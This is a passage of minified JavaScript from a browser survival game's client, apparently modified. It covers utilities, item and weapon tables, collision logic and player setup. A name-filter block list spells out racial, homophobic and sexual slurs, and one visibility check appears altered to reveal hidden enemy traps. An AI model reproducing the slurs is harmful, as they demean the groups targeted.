e.exports.getDistance = function(e, t, i, s) {
return n((i -= e) * i + (s -= t) * s)
}
,
e.exports.getDirection = function(e, t, i, n) {
return s(t - n, e - i)
}
,
e.exports.getAngleDist = function(e, t) {
var n = i(t - e) % (2 * o);
return n > o ? 2 * o - n : n
}
,
e.exports.isNumber = function(e) {
return "number" == typeof e && !isNaN(e) && isFinite(e)
}
,
e.exports.isString = function(e) {
return e && "string" == typeof e
}
,
e.exports.numberFormat = function(num) {
let formats = [
[1e3, "k"],
[1e6, "m"],
[1e9, "b"],
[1e12, "t"],
[1e15, "q"],
];
for (let i = 0; i < formats.length; i++) {
let b;
let a = [formats[i], (b = formats[i + 1]) ? b[0] : Infinity];
if(num >= a[0][0] && num < a[1]){
return (num / a[0][0]).toFixed(1) + a[0][1];
}
}
},
e.exports.capitalizeFirst = function(e) {
return e.charAt(0).toUpperCase() + e.slice(1)
}
,
e.exports.fixTo = function(e, t) {
return parseFloat(e.toFixed(t))
}
,
e.exports.sortByPoints = function(e, t) {
return parseFloat(t.points) - parseFloat(e.points)
}
,
e.exports.lineInRect = function(e, t, i, n, s, o, a, r) {
var c = s
, l = a;
if (s > a && (c = a,
l = s),
l > i && (l = i),
c < e && (c = e),
c > l)
return !1;
var h = o
, u = r
, d = a - s;
if (Math.abs(d) > 1e-7) {
var f = (r - o) / d
, p = o - f * s;
h = f * c + p,
u = f * l + p
}
if (h > u) {
var g = u;
u = h,
h = g
}
return u > n && (u = n),
h < t && (h = t),
!(h > u)
}
,
e.exports.containsPoint = function(e, t, i) {
var n = e.getBoundingClientRect()
, s = n.left + window.scrollX
, o = n.top + window.scrollY
, a = n.width
, r = n.height;
return t > s && t < s + a && i > o && i < o + r
}
,
e.exports.mousifyTouchEvent = function(e) {
var t = e.changedTouches[0];
e.screenX = t.screenX,
e.screenY = t.screenY,
e.clientX = t.clientX,
e.clientY = t.clientY,
e.pageX = t.pageX,
e.pageY = t.pageY
}
,
e.exports.hookTouchEvents = function(t, i) {
var n = !i
, s = !1;
function o(i) {
e.exports.mousifyTouchEvent(i),
window.setUsingTouch(!0),
n && (i.preventDefault(),
i.stopPropagation()),
s && (t.onclick && t.onclick(i),
t.onmouseout && t.onmouseout(i),
s = !1)
}
t.addEventListener("touchstart", e.exports.checkTrusted((function(i) {
e.exports.mousifyTouchEvent(i),
window.setUsingTouch(!0),
n && (i.preventDefault(),
i.stopPropagation()),
t.onmouseover && t.onmouseover(i),
s = !0
}
)), !1),
t.addEventListener("touchmove", e.exports.checkTrusted((function(i) {
e.exports.mousifyTouchEvent(i),
window.setUsingTouch(!0),
n && (i.preventDefault(),
i.stopPropagation()),
e.exports.containsPoint(t, i.pageX, i.pageY) ? s || (t.onmouseover && t.onmouseover(i),
s = !0) : s && (t.onmouseout && t.onmouseout(i),
s = !1)
}
)), !1),
t.addEventListener("touchend", e.exports.checkTrusted(o), !1),
t.addEventListener("touchcancel", e.exports.checkTrusted(o), !1),
t.addEventListener("touchleave", e.exports.checkTrusted(o), !1)
}
,
e.exports.removeAllChildren = function(e) {
for (; e.hasChildNodes(); )
e.removeChild(e.lastChild)
}
,
e.exports.generateElement = function(t) {
var i = document.createElement(t.tag || "div");
function n(e, n) {
t[e] && (i[n] = t[e])
}
for (var s in n("text", "textContent"),
n("html", "innerHTML"),
n("class", "className"),
t) {
switch (s) {
case "tag":
case "text":
case "html":
case "class":
case "style":
case "hookTouch":
case "parent":
case "children":
continue
}
i[s] = t[s]
}
if (i.onclick && (i.onclick = e.exports.checkTrusted(i.onclick)),
i.onmouseover && (i.onmouseover = e.exports.checkTrusted(i.onmouseover)),
i.onmouseout && (i.onmouseout = e.exports.checkTrusted(i.onmouseout)),
t.style && (i.style.cssText = t.style),
t.hookTouch && e.exports.hookTouchEvents(i),
t.parent && t.parent.appendChild(i),
t.children)
for (var o = 0; o < t.children.length; o++)
i.appendChild(t.children[o]);
return i
}
,
e.exports.eventIsTrusted = function(e) {
return !e || "boolean" != typeof e.isTrusted || e.isTrusted
}
,
e.exports.checkTrusted = function(t) {
return function(i) {
i && i instanceof Event && e.exports.eventIsTrusted(i) && t(i)
}
}
,
e.exports.randomString = function(e) {
for (var t = "", i = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", n = 0; n < e; n++)
t += i.charAt(Math.floor(Math.random() * i.length));
return t
}
,
e.exports.countInArray = function(e, t) {
for (var i = 0, n = 0; n < e.length; n++)
e[n] === t && i++;
return i
}
}
, function(e, t) {
e.exports.AnimText = function() {
this.init = function(e, t, i, n, s, o, a, r) {
this.x = e,
this.y = t,
this.color = a,
this.scale = 25,
this.startScale = 20,
this.maxScale = 1.8 * i,
this.scaleSpeed = .10,
this.speed = n,
this.life = s,
this.text = o
}
,
this.update = function(e) {
this.life && (this.life -= e,
this.y -= this.speed * e,
this.scale += this.scaleSpeed * e,
this.scale >= this.maxScale ? (this.scale = this.maxScale,
this.scaleSpeed *= -1) : this.scale <= this.startScale && (this.scale = this.startScale,
this.scaleSpeed = 0),
this.life <= 0 && (this.life = 0))
}
,
this.render = function(e, t, i) {
(this.textHue === undefined ? (this.textHue = 0) : (this.textHue += 6)),
e.fillStyle = this.color,
e.font = this.scale + "px Hammersmith One",
e.fillText(this.text, this.x - t, this.y - i)
/*e.strokeStyle = 'black',
e.lineWidth= 3
, e.strokeText(this.text, this.x - t, this.y - i)*/
}
}
,
e.exports.TextManager = function() {
this.texts = [],
this.update = function(e, t, i, n) {
t.textBaseline = "middle",
t.textAlign = "center";
for (var s = 0; s < this.texts.length; ++s)
this.texts[s].life && (this.texts[s].update(e),
this.texts[s].render(t, i, n))
}
,
this.showText = function(t, i, n, s, o, a, r) {
for (var c, l = 0; l < this.texts.length; ++l)
if (!this.texts[l].life) {
c = this.texts[l];
break
}
c || (c = new e.exports.AnimText,
this.texts.push(c)),
c.init(t, i, n, s, o, a, r)
}
}
}
, function(e, t) {
e.exports = function(e) {
this.sid = e,
this.init = function(e, t, i, n, s, o, a) {
o = o || {},
this.sentTo = {},
this.gridLocations = [],
this.active = !0,
this.doUpdate = o.doUpdate,
this.x = e,
this.y = t,
this.dir = i,
this.lastWiggle = 2.1,// ayarını burdan düşürüp arttırabilirsin
this.foundHitter = false;
this.xWiggle = 16,
this.yWiggle = 16,
this.scale = n,
this.type = s,
this.id = o.id,
this.owner = a,
this.name = o.name,
this.isItem = null != this.id,
this.group = o.group,
this.health = o.health,
this.layer = 1.11111111111111,
null != this.group ? this.layer = this.group.layer : 0 == this.type ? this.layer = 3 : 2 == this.type ? this.layer = 0 : 4 == this.type && (this.layer = -1),
this.colDiv = o.colDiv || 1,
this.blocker = o.blocker,
this.ignoreCollision = o.ignoreCollision,
this.dontGather = o.dontGather,
this.hideFromEnemy = o.hideFromEnemy,
this.friction = o.friction,
this.projDmg = o.projDmg,
this.dmg = o.dmg,
this.pDmg = o.pDmg,
this.pps = o.pps,
this.zIndex = o.zIndex || 0,
this.turnSpeed = o.turnSpeed,
this.req = o.req,
this.trap = o.trap,
this.healCol = o.healCol,
this.teleport = o.teleport,
this.boostSpeed = o.boostSpeed,
this.projectile = o.projectile,
this.shootRange = o.shootRange,
this.shootRate = o.shootRate,
this.shootCount = this.shootRate,
this.spawnPoint = o.spawnPoint
}
,
this.changeHealth = function(e, t) {
return this.health += e,
this.health <= 0
}
,
this.getScale = function(e, t) {
return e = e || 1,
this.scale * (this.isItem || 2 == this.type || 3 == this.type || 4 == this.type ? 1 : .6 * e)
}
,
this.visibleToPlayer = function(e) {
return this.trap ? !this.hideFromEnemy || (this.owner.sid) : true
//return !this.hideFromEnemy || this.owner && (this.owner == e || this.owner.team && e.team == this.owner.team)
}
,
this.update = function(e) {
if(this.health != this.healthMov){
this.health < this.healthMov ? (this.healthMov-= 7.5) : (this.healthMov += 7.5);
if(Math.abs(this.health - this.healthMov) < 7.5) this.healthMov = this.health
}
this.active && (this.xWiggle && (this.xWiggle *= Math.pow(.99, e)),
this.yWiggle && (this.yWiggle *= Math.pow(.99, e)),
this.turnSpeed && (this.dir += this.turnSpeed * e))
}
}
}
, function(e, t) {
e.exports.groups = [{
id: 0,
name: "food",
layer: 0
}, {
id: 1,
name: "walls",
place: !0,
limit: 30,
layer: 0
}, {
id: 2,
name: "spikes",
place: !0,
limit: 15,
layer: 0
}, {
id: 3,
name: "mill",
place: !0,
limit: 7,
layer: 1
}, {
id: 4,
name: "mine",
place: !0,
limit: 1,
layer: 0
}, {
id: 5,
name: "trap",
place: !0,
limit: 6,
layer: -1
}, {
id: 6,
name: "booster",
place: !0,
limit: 12,
layer: -1
}, {
id: 7,
name: "turret",
place: !0,
limit: 2,
layer: 1
}, {
id: 8,
name: "watchtower",
place: !0,
limit: 12,
layer: 1
}, {
id: 9,
name: "buff",
place: !0,
limit: 4,
layer: -1
}, {
id: 10,
name: "spawn",
place: !0,
limit: 1,
layer: -1
}, {
id: 11,
name: "sapling",
place: !0,
limit: 2,
layer: 0
}, {
id: 12,
name: "blocker",
place: !0,
limit: 3,
layer: -1
}, {
id: 13,
name: "teleporter",
place: !0,
limit: 2,
layer: -1
}],
t.projectiles = [{
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 25,
speed: 1.6,
scale: 103,
range: 1e3
}, {
indx: 1,
layer: 1,
dmg: 25,
range: 700,
speed: 1.5,
scale: 20
}, {
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 35,
speed: 2.5,
scale: 103,
range: 1200
}, {
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 30,
speed: 2,
scale: 103,
range: 1200
}, {
indx: 1,
layer: 1,
dmg: 16,
scale: 20
}, {
indx: 0,
layer: 0,
src: "bullet_1",
dmg: 50,
speed: 3.6,
scale: 160,
range: 1400
}],
t.weapons = [{
id: 0,
type: 0,
name: "tool hammer",
desc: "tool for gathering all resources",
src: "hammer_1",
length: 140,
width: 140,
xOff: -3,
yOff: 18,
dmg: 25,
range: 65,
gather: 1,
speed: 300
}, {
id: 1,
type: 0,
age: 2,
name: "hand axe",
desc: "gathers resources at a higher rate",
src: "axe_1",
length: 140,
width: 140,
xOff: 3,
yOff: 24,
dmg: 30,
spdMult: 1,
range: 70,
gather: 2,
speed: 400
}, {
id: 2,
type: 0,
age: 8,
pre: 1,
name: "great axe",
desc: "deal more damage and gather more resources",
src: "great_axe_1",
length: 140,
width: 140,
xOff: -8,
yOff: 25,
dmg: 35,
spdMult: 1,
range: 75,
gather: 4,
speed: 400
}, {
id: 3,
type: 0,
age: 2,
name: "short sword",
desc: "increased attack power but slower move speed",
src: "samurai_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 59,
dmg: 35,
spdMult: .85,
range: 110,
gather: 1,
speed: 300
}, {
id: 4,
type: 0,
age: 8,
pre: 3,
name: "katana",
desc: "greater range and damage",
src: "samurai_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 59,
dmg: 40,
spdMult: .8,
range: 118,
gather: 1,
speed: 300
}, {
id: 5,
type: 0,
age: 2,
name: "polearm",
desc: "long range melee weapon",
src: "spear_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 53,
dmg: 45,
knock: .2,
spdMult: .82,
range: 142,
gather: 1,
speed: 700
}, {
id: 6,
type: 0,
age: 2,
name: "bat",
desc: "fast long range melee weapon",
src: "bat_1",
iPad: 1.3,
length: 110,
width: 180,
xOff: -8,
yOff: 53,
dmg: 20,
knock: .7,
range: 110,
gather: 1,
speed: 300
}, {
id: 7,
type: 0,
age: 2,
name: "daggers",
desc: "really fast short range weapon",
src: "dagger_1",
iPad: .8,
length: 110,
width: 110,
xOff: 18,
yOff: 0,
dmg: 20,
knock: .1,
range: 65,
gather: 1,
hitSlow: .1,
spdMult: 1.13,
speed: 100
}, {
id: 8,
type: 0,
age: 2,
name: "stick",
desc: "great for gathering but very weak",
src: "stick_1",
length: 140,
width: 140,
xOff: 3,
yOff: 24,
dmg: 1,
spdMult: 1,
range: 70,
gather: 7,
speed: 400
}, {
id: 9,
type: 1,
age: 6,
name: "hunting bow",
desc: "bow used for ranged combat and hunting",
src: "bow_1",
req: ["wood", 4],
length: 120,
width: 120,
xOff: -6,
yOff: 0,
projectile: 0,
spdMult: .75,
speed: 600
}, {
id: 10,
type: 1,
age: 6,
name: "great hammer",
desc: "hammer used for destroying structures",
src: "great_hammer_1",
length: 140,
width: 140,
xOff: -9,
yOff: 25,
dmg: 10,
spdMult: .88,
range: 75,
sDmg: 7.5,
gather: 1,
speed: 400
}, {
id: 11,
type: 1,
age: 6,
name: "wooden shield",
desc: "blocks projectiles and reduces melee damage",
src: "shield_1",
length: 120,
width: 120,
shield: .2,
xOff: 6,
yOff: 0,
spdMult: .7
}, {
id: 12,
type: 1,
age: 8,
pre: 9,
name: "crossbow",
desc: "deals more damage and has greater range",
src: "crossbow_1",
req: ["wood", 5],
aboveHand: !0,
armS: .75,
length: 120,
width: 120,
xOff: -4,
yOff: 0,
projectile: 2,
spdMult: .7,
speed: 700
}, {
id: 13,
type: 1,
age: 9,
pre: 12,
name: "repeater crossbow",
desc: "high firerate crossbow with reduced damage",
src: "crossbow_2",
req: ["wood", 10],
aboveHand: !0,
armS: .75,
length: 120,
width: 120,
xOff: -4,
yOff: 0,
projectile: 3,
spdMult: .7,
speed: 230
}, {
id: 14,
type: 1,
age: 6,
name: "mc grabby",
desc: "steals resources from enemies",
src: "grab_1",
length: 130,
width: 210,
xOff: -8,
yOff: 53,
dmg: 0,
steal: 250,
knock: .2,
spdMult: 1.05,
range: 125,
gather: 0,
speed: 700
}, {
id: 15,
type: 1,
age: 9,
pre: 12,
name: "musket",
desc: "slow firerate but high damage and range",
src: "musket_1",
req: ["stone", 10],
aboveHand: !0,
rec: .35,
armS: .6,
hndS: .3,
hndD: 1.6,
length: 205,
width: 205,
xOff: 25,
yOff: 0,
projectile: 5,
hideProjectile: !0,
spdMult: .6,
speed: 1500
}],
e.exports.list = [{
group: e.exports.groups[0],
name: "apple",
desc: "restores 20 health when consumed",
req: ["food", 10],
consume: 20,
scale: 22,
holdOffset: 15
}, {
age: 3,
group: e.exports.groups[0],
name: "cookie",
desc: "restores 40 health when consumed",
req: ["food", 15],
consume: 40,
scale: 27,
holdOffset: 15
}, {
age: 7,
group: e.exports.groups[0],
name: "cheese",
desc: "restores 30 health and another 50 over 5 seconds",
req: ["food", 25],
consume: 35,
scale: 27,
holdOffset: 15
}, {
group: e.exports.groups[1],
name: "wood wall",
desc: "provides protection for your village",
req: ["wood", 10],
projDmg: !0,
health: 380,
scale: 50,
holdOffset: 20,
placeOffset: -5
}, {
age: 3,
group: e.exports.groups[1],
name: "stone wall",
desc: "provides improved protection for your village",
req: ["stone", 25],
health: 900,
scale: 50,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[1],
name: "castle wall",
desc: "provides powerful protection for your village",
req: ["stone", 35],
health: 1500,
scale: 52,
holdOffset: 20,
placeOffset: -5
}, {
group: e.exports.groups[2],
name: "spikes",
desc: "damages enemies when they touch them",
req: ["wood", 20, "stone", 5],
health: 400,
dmg: 20,
scale: 49,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
age: 5,
group: e.exports.groups[2],
name: "greater spikes",
desc: "damages enemies when they touch them",
req: ["wood", 30, "stone", 10],
health: 500,
dmg: 35,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
age: 9,
group: e.exports.groups[2],
name: "poison spikes",
desc: "poisons enemies when they touch them",
req: ["wood", 35, "stone", 15],
health: 600,
dmg: 30,
pDmg: 5,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
age: 9,
group: e.exports.groups[2],
name: "spinning spikes",
desc: "damages enemies when they touch them",
req: ["wood", 30, "stone", 20],
health: 500,
dmg: 45,
turnSpeed: .003,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
group: e.exports.groups[3],
name: "windmill",
desc: "generates gold over time",
req: ["wood", 50, "stone", 10],
health: 400,
pps: 1,
spritePadding: 25,
iconLineMult: 12,
scale: 45,
holdOffset: 20,
placeOffset: 5
}, {
age: 5,
group: e.exports.groups[3],
name: "faster windmill",
desc: "generates more gold over time",
req: ["wood", 60, "stone", 20],
health: 500,
pps: 1.5,
spritePadding: 25,
iconLineMult: 12,
scale: 47,
holdOffset: 20,
placeOffset: 5
}, {
age: 8,
group: e.exports.groups[3],
name: "power mill",
desc: "generates more gold over time",
req: ["wood", 100, "stone", 50],
health: 800,
pps: 2,
spritePadding: 25,
iconLineMult: 12,
scale: 47,
holdOffset: 20,
placeOffset: 5
}, {
age: 5,
group: e.exports.groups[4],
type: 2,
name: "mine",
desc: "allows you to mine stone",
req: ["wood", 20, "stone", 100],
iconLineMult: 12,
scale: 65,
holdOffset: 20,
placeOffset: 0
}, {
age: 5,
group: e.exports.groups[11],
type: 0,
name: "sapling",
desc: "allows you to farm wood",
req: ["wood", 150],
iconLineMult: 12,
colDiv: .5,
scale: 110,
holdOffset: 50,
placeOffset: -15
}, {
age: 4,
group: e.exports.groups[5],
name: "pit trap",
desc: "pit that traps enemies if they walk over it",
req: ["wood", 30, "stone", 30],
trap: !0,
ignoreCollision: !0,
hideFromEnemy: !0,
health: 500,
colDiv: .2,
scale: 50,
holdOffset: 20,
placeOffset: -5
}, {
age: 4,
group: e.exports.groups[6],
name: "boost pad",
desc: "provides boost when stepped on",
req: ["stone", 20, "wood", 5],
ignoreCollision: !0,
boostSpeed: 1.5,
health: 150,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[7],
doUpdate: !0,
name: "turret",
desc: "defensive structure that shoots at enemies",
req: ["wood", 200, "stone", 150],
health: 800,
projectile: 1,
shootRange: 700,
shootRate: 2200,
scale: 43,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[8],
name: "platform",
desc: "platform to shoot over walls and cross over water",
req: ["wood", 20],
ignoreCollision: !0,
zIndex: 1,
health: 300,
scale: 43,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[9],
name: "healing pad",
desc: "standing on it will slowly heal you",
req: ["wood", 30, "food", 10],
ignoreCollision: !0,
healCol: 15,
health: 400,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 9,
group: e.exports.groups[10],
name: "spawn pad",
desc: "you will spawn here when you die but it will dissapear",
req: ["wood", 100, "stone", 100],
health: 400,
ignoreCollision: !0,
spawnPoint: !0,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[12],
name: "blocker",
desc: "blocks building in radius",
req: ["wood", 30, "stone", 25],
ignoreCollision: !0,
blocker: 300,
health: 400,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[13],
name: "teleporter",
desc: "teleports you to a random point on the map",
req: ["wood", 60, "stone", 60],
ignoreCollision: !0,
teleport: !0,
health: 200,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}];
for (var i = 0; i < e.exports.list.length; ++i)
e.exports.list[i].id = i,
e.exports.list[i].pre && (e.exports.list[i].pre = i - e.exports.list[i].pre)
}
, function(e, t) {
e.exports = {}
}
, function(e, t) {
var i = Math.floor
, n = Math.abs
, s = Math.cos
, o = Math.sin
, a = (Math.pow,
Math.sqrt);
e.exports = function(e, t, r, c, l, h) {
var u, d;
this.objects = t,
this.grids = {},
this.updateObjects = [];
var f = c.mapScale / c.colGrid;
this.setObjectGrids = function(e) {
for (var t = Math.min(c.mapScale, Math.max(0, e.x)), i = Math.min(c.mapScale, Math.max(0, e.y)), n = 0; n < c.colGrid; ++n) {
u = n * f;
for (var s = 0; s < c.colGrid; ++s)
d = s * f,
t + e.scale >= u && t - e.scale <= u + f && i + e.scale >= d && i - e.scale <= d + f && (this.grids[n + "_" + s] || (this.grids[n + "_" + s] = []),
this.grids[n + "_" + s].push(e),
e.gridLocations.push(n + "_" + s))
}
}
,
this.removeObjGrid = function(e) {
for (var t, i = 0; i < e.gridLocations.length; ++i)
(t = this.grids[e.gridLocations[i]].indexOf(e)) >= 0 && this.grids[e.gridLocations[i]].splice(t, 1)
}
,
this.disableObj = function(e) {
if (e.active = !1,
h) {
e.owner && e.pps && (e.owner.pps -= e.pps),
this.removeObjGrid(e);
var t = this.updateObjects.indexOf(e);
t >= 0 && this.updateObjects.splice(t, 1)
}
}
,
this.hitObj = function(e, t) {
for (var i = 0; i < l.length; ++i)
l[i].active && (e.sentTo[l[i].id] && (e.active ? l[i].canSee(e) && h.send(l[i].id, "8", r.fixTo(t, 1), e.sid) : h.send(l[i].id, "12", e.sid)),
e.active || e.owner != l[i] || l[i].changeItemCount(e.group.id, -1))
}
;
var p, g, m = [];
this.getGridArrays = function(e, t, n) {
u = i(e / f),
d = i(t / f),
m.length = 0;
try {
this.grids[u + "_" + d] && m.push(this.grids[u + "_" + d]),
e + n >= (u + 1) * f && ((p = this.grids[u + 1 + "_" + d]) && m.push(p),
d && t - n <= d * f ? (p = this.grids[u + 1 + "_" + (d - 1)]) && m.push(p) : t + n >= (d + 1) * f && (p = this.grids[u + 1 + "_" + (d + 1)]) && m.push(p)),
u && e - n <= u * f && ((p = this.grids[u - 1 + "_" + d]) && m.push(p),
d && t - n <= d * f ? (p = this.grids[u - 1 + "_" + (d - 1)]) && m.push(p) : t + n >= (d + 1) * f && (p = this.grids[u - 1 + "_" + (d + 1)]) && m.push(p)),
t + n >= (d + 1) * f && (p = this.grids[u + "_" + (d + 1)]) && m.push(p),
d && t - n <= d * f && (p = this.grids[u + "_" + (d - 1)]) && m.push(p)
} catch (e) {}
return m
}
,
this.add = function(i, n, s, o, a, r, c, l, u) {
g = null;
for (var d = 0; d < t.length; ++d)
if (t[d].sid == i) {
g = t[d];
break
}
if (!g)
for (d = 0; d < t.length; ++d)
if (!t[d].active) {
g = t[d];
break
}
g || (g = new e(i),
t.push(g)),
l && (g.sid = i),
g.init(n, s, o, a, r, c, u),
h && (this.setObjectGrids(g),
g.doUpdate && this.updateObjects.push(g))
}
,
this.disableBySid = function(e) {
for (var i = 0; i < t.length; ++i)
if (t[i].sid == e) {
this.disableObj(t[i]);
break
}
}
,
this.removeAllItems = function(e, i) {
for (var n = 0; n < t.length; ++n)
t[n].active && t[n].owner && t[n].owner.sid == e && this.disableObj(t[n]);
i && i.broadcast("13", e)
}
,
this.fetchSpawnObj = function(e) {
for (var i = null, n = 0; n < t.length; ++n)
if ((g = t[n]).active && g.owner && g.owner.sid == e && g.spawnPoint) {
i = [g.x, g.y],
this.disableObj(g),
h.broadcast("12", g.sid),
g.owner && g.owner.changeItemCount(g.group.id, -1);
break
}
return i
}
,
this.checkItemLocation = function(e, i, n, s, o, a, l) {
for (var h of t) {
var u = h.blocker ? h.blocker : h.getScale(s, h.isItem);
if (h.active && r.getDistance(e, i, h.x, h.y) < n + u) return h;
}
return !(!a && 18 != o && i >= c.mapScale / 2 - c.riverWidth / 2 && i <= c.mapScale / 2 + c.riverWidth / 2)
}
,
this.addProjectile = function(e, t, i, n, s) {
for (var o, a = items.projectiles[s], c = 0; c < projectiles.length; ++c)
if (!projectiles[c].active) {
o = projectiles[c];
break
}
o || (o = new Projectile(l,r),
projectiles.push(o)),
o.init(s, e, t, i, a.speed, n, a.scale)
}
,
this.checkCollision = function(e, t, i) {
i = i || 1;
var l = e.x - t.x
, h = e.y - t.y
, u = e.scale + t.scale;
if (n(l) <= u || n(h) <= u) {
u = e.scale + (t.getScale ? t.getScale() : t.scale);
var d = a(l * l + h * h) - u;
if (d <= 0) {
if (t.ignoreCollision)
!t.trap || e.noTrap || t.owner == e || t.owner && t.owner.team && t.owner.team == e.team ? t.boostSpeed ? (e.xVel += i * t.boostSpeed * (t.weightM || 1) * s(t.dir),
e.yVel += i * t.boostSpeed * (t.weightM || 1) * o(t.dir)) : t.healCol ? e.healCol = t.healCol : t.teleport && (e.x = r.randInt(0, c.mapScale),
e.y = r.randInt(0, c.mapScale)) : (e.lockMove = !0,
t.hideFromEnemy = !1);
else {
var f = r.getDirection(e.x, e.y, t.x, t.y);
if (r.getDistance(e.x, e.y, t.x, t.y),
t.isPlayer ? (d = -1 * d / 2,
e.x += d * s(f),
e.y += d * o(f),
t.x -= d * s(f),
t.y -= d * o(f)) : (e.x = t.x + u * s(f),
e.y = t.y + u * o(f),
e.xVel *= .75,
e.yVel *= .75),
t.dmg && t.owner != e && (!t.owner || !t.owner.team || t.owner.team != e.team)) {
e.changeHealth(-t.dmg, t.owner, t);
var p = 1.5 * (t.weightM || 1);
e.xVel += p * s(f),
e.yVel += p * o(f),
!t.pDmg || e.skin && e.skin.poisonRes || (e.dmgOverTime.dmg = t.pDmg,
e.dmgOverTime.time = 5,
e.dmgOverTime.doer = t.owner),
e.colDmg && t.health && (t.changeHealth(-e.colDmg) && this.disableObj(t),
this.hitObj(t, r.getDirection(e.x, e.y, t.x, t.y)))
}
}
return t.zIndex > e.zIndex && (e.zIndex = t.zIndex),
!0
}
}
return !1
}
}
}
, function(e, t, i) {
var n = new (i(13));
n.addWords("jew", "black", "baby", "child", "white", "porn", "pedo", "trump", "clinton", "hitler", "nazi", "gay", "pride", "sex", "pleasure", "touch", "poo", "kids", "rape", "white power", "nigga", "nig nog", "doggy", "rapist", "boner", "nigger", "nigg", "finger", "nogger", "nagger", "nig", "fag", "gai", "pole", "stripper", "penis", "vagina", "pussy", "nazi", "hitler", "stalin", "burn", "chamber", "cock", "peen", "dick", "spick", "nieger", "die", "satan", "n|ig", "nlg", "cunt", "c0ck", "fag", "lick", "condom", "anal", "shit", "phile", "little", "kids", "free KR", "tiny", "sidney", "ass", "kill", ".io", "(dot)", "[dot]", "mini", "whiore", "whore", "faggot", "github", "1337", "666", "satan", "senpa", "discord", "d1scord", "mistik", ".io", "senpa.io", "sidney", "sid", "senpaio", "vries", "asa");
var s = Math.abs
, o = Math.cos
, a = Math.sin
, r = Math.pow
, c = Math.sqrt;
e.exports = function(e, t, i, l, h, u, d, f, p, g, m, y, k, w) {
this.id = e;
this.sid = t;
this.tmpScore = 0;
this.team = null;
this.skinIndex = 0;
this.tailIndex = 0;
this.hitTime = 0;
this.lastBleed = {
amount: 0,
time: 0,
healed: true,
};
this.lastRegen = {
amount: 0,
time: 0,
};
this.tails = {};
for (let v = 0; v < m.length; ++v){
m[v].price <= 0 && (this.tails[m[v].id] = 1);
}
this.skins = {};
for (let v = 0; v < g.length; ++v){
g[v].price <= 0 && (this.skins[g[v].id] = 1);
}
this.points = 0;
this.dt = 0;
this.hidden = !1;
this.itemCounts = {};
this.isPlayer = !0;
this.pps = 0;
this.moveDir = void 0;
this.skinRot = 0;
this.lastPing = 0;
this.iconIndex = 0;
this.skinColor = 0;
this.spawn = function(e) {
this.active = !0;
this.alive = !0;
this.lockMove = !1;
this.lockDir = !1;
this.minimapCounter = 0;
this.chatCountdown = 0;
this.shameCount = 0;
this.shameTimer = 0;
this.sentTo = {};
this.gathering = 0;
this.autoGather = 0;
this.animTime = 0;
this.animSpeed = 0;
this.mouseState = 0;
this.buildIndex = -1;
this.weaponIndex = 0;
this.dmgOverTime = {
amount: 0,
time: -1,
startTime: 0,
};
this.noMovTimer = 0;
this.maxXP = 300;
this.XP = 0;
this.age = 1;
this.kills = 0;
this.upgrAge = 2;
this.upgradePoints = 0;
this.x = 0;
this.y = 0;
this.zIndex = 0;
this.xVel = 0;
this.yVel = 0;
this.slowMult = 1;
this.dir = 0;
this.dirPlus = 0;
this.targetDir = 0;
this.targetAngle = 0;
this.maxHealth = 100;
this.health = this.maxHealth;
this.scale = i.playerScale;
this.speed = i.playerSpeed;
this.resetMoveDir();
this.resetResources(e);
this.items = [0, 3, 6, 10];
this.weapons = [0];
this.inTrap = null;
this.shootCount = 0;
this.weaponXP = [];
this.variants = [];
this.reloads = [];
new Array(16).fill(0).forEach(()=> this.reloads.push(0));
new Array(16).fill(0).forEach(()=> this.variants.push(i.weaponVariants[0]));
};
this.resetMoveDir = function() {
this.moveDir = void 0
};
this.resetResources = function(e) {
for (var t = 0; t < i.resourceTypes.length; ++t)
this[i.resourceTypes[t]] = e ? 100 : 0
}
,
this.addItem = function(e) {
var t = p.list[e];
if (t) {
for (var i = 0; i < this.items.length; ++i)
if (p.list[this.items[i]].group == t.group)
return this.buildIndex == this.items[i] && (this.buildIndex = e),
this.items[i] = e,
!0;
return this.items.push(e),
!0
}
return !1
}
,
this.setUserData = function(e) {
if (e) {
this.name = "unknown";
var t = e.name + ""
, s = !1
, o = (t = (t = (t = (t = t.slice(0, i.maxNameLength)).replace(/[^\w:\(\)\/? -]+/gim, " ")).replace(/[^\x00-\x7F]/g, " ")).trim()).toLowerCase().replace(/\s/g, "").replace(/1/g, "i").replace(/0/g, "o").replace(/5/g, "s");
for (var a of n.list)
if (-1 != o.indexOf(a)) {
s = !0;
break
}
t.length > 0 && !s && (this.name = t),
this.skinColor = 0,
i.skinColors[e.skin] && (this.skinColor = e.skin)
}
}
,
this.getData = function() {
return [this.id, this.sid, this.name, l.fixTo(this.x, 2), l.fixTo(this.y, 2), l.fixTo(this.dir, 3), this.health, this.maxHealth, this.scale, this.skinColor]
}
,
this.setData = function(e) {
this.id = e[0],
this.sid = e[1],
this.name = e[2],
this.x = e[3],
this.y = e[4],
this.dir = e[5],
this.health = e[6],
this.maxHealth = e[7],
this.scale = e[8],
this.skinColor = e[9]
}
;
var b = 0;
this.update = function(e, Delta) {
if (this.alive) {
if (this.shameTimer > 0 && (this.shameTimer -= e,
this.shameTimer <= 0 && (this.shameTimer = 0,
this.shameCount = 0)),
